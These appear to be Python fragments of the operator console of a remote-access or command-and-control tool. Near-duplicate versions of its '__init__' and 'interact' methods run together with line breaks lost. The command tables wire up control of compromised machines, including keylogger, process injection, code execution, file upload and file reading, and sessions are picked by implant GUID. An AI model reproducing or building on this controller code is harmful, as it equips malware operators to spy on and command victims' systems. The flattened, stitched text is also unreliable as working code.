def __init__(self, config): self.cmds = {} self.cmds['exit'] = self.exit_cli self.cmds['list'] = self.list_clients self.cmds['interact'] = self.interact self.cmds['show'] = self.view_event self.cmds['help'] = self.show_help self.cmds['kill'] = self.kill_shell self.cmds['purge'] = self.flushdb self.cmds['os'] = self.os_shell self.shell_cmds = {} self.shell_cmds['help'] = self.show_help_shell self.shell_cmds['fetch'] = self.fetch self.shell_cmds['read'] = self.read_file self.shell_cmds['upload'] = self.upload_file self.shell_cmds['delay'] = self.update_delay self.shell_cmds['exec'] = self.exec_code self.shell_cmds['ps'] = self.ps self.shell_cmds['inject'] = self.inject self.shell_cmds['alias'] = self.set_alias self.shell_cmds['background'] = None self.shell_cmds['keylogger'] = self.keylogger self.shell_cmds['exit'] = None self.config = config self.db = self.config.get('redis') self._prompt = 'Main' self.guid = '' self.alias = Alias() self.completer = Completer(self.cmds) readline.parse_and_bind('tab:complete') readline.set_completer(self.completer.complete) start_cmd_sync(config)
def __init__(self, config): self.cmds = dict() self.cmds["exit"] = self.exit_cli self.cmds["list"] = self.list_clients self.cmds["interact"] = self.interact self.cmds["show"] = self.view_event self.cmds["help"] = self.show_help self.cmds["kill"] = self.kill_shell self.cmds["purge"] = self.flushdb self.cmds["os"] = self.os_shell self.shell_cmds = dict() self.shell_cmds["help"] = self.show_help_shell self.shell_cmds["fetch"] = self.fetch self.shell_cmds["read"] = self.read_file self.shell_cmds["upload"] = self.upload_file self.shell_cmds["delay"] = self.update_delay self.shell_cmds["exec"] = self.exec_code self.shell_cmds["ps"] = self.ps self.shell_cmds["inject"] = self.inject self.shell_cmds["alias"] = self.set_alias self.shell_cmds["background"] = None self.shell_cmds["keylogger"] = self.keylogger self.shell_cmds["exit"] = None self.config = config self.db = self.config.get("redis") self._prompt = "Main" self.guid = "" self.alias = Alias() self.completer = Completer(self.cmds) readline.parse_and_bind("tab:complete") readline.set_completer(self.completer.complete) start_cmd_sync(config)
def interact(self, data): current_id = Utils.get_arg_at(data, 1, 2) guid = "" for shell in self.db.get_all_shell_id(): id = self.db.get_data(shell) if current_id == id: guid = shell.split(":")[0] break if not guid == "": self.completer = Completer(self.shell_cmds) readline.set_completer(self.completer.complete) readline.parse_and_bind("tab: complete") self.guid = guid self._prompt = self.db.get_data("%s:prompt" % guid) else: UI.error("Invalid session ID")
def interact(self, data): current_id = Utils.get_arg_at(data, 1, 2) guid = '' for shell in self.db.get_all_shell_id(): id = self.db.get_data(shell) if current_id == id: guid = shell.split(':')[0] break if not guid == '': self.completer = Completer(self.shell_cmds) readline.set_completer(self.completer.complete) readline.parse_and_bind('tab: complete') self.guid = guid self.db.add_active_user(self.config.get('uid'), self.guid) self._prompt = self.db.get_data('%s:prompt' % guid) else: UI.error('Invalid session ID')
def __init__(self, config): self.cmds = dict() self.cmds["exit"] = self.exit_cli self.cmds["list"] = self.list_clients self.cmds["interact"] = self.interact self.cmds["show"] = self.view_event self.cmds["help"] = self.show_help self.cmds["kill"] = self.kill_shell self.cmds["purge"] = self.flushdb self.cmds["os"] = self.os_shell self.config = config self.db = self.config.get("redis") self._prompt = "Main" self.guid = "" self.alias = Alias() self.shell = Shell(self.db, True) self.completer = Completer(self.cmds) readline.parse_and_bind("tab:complete") readline.set_completer(self.completer.complete) start_cmd_sync(config)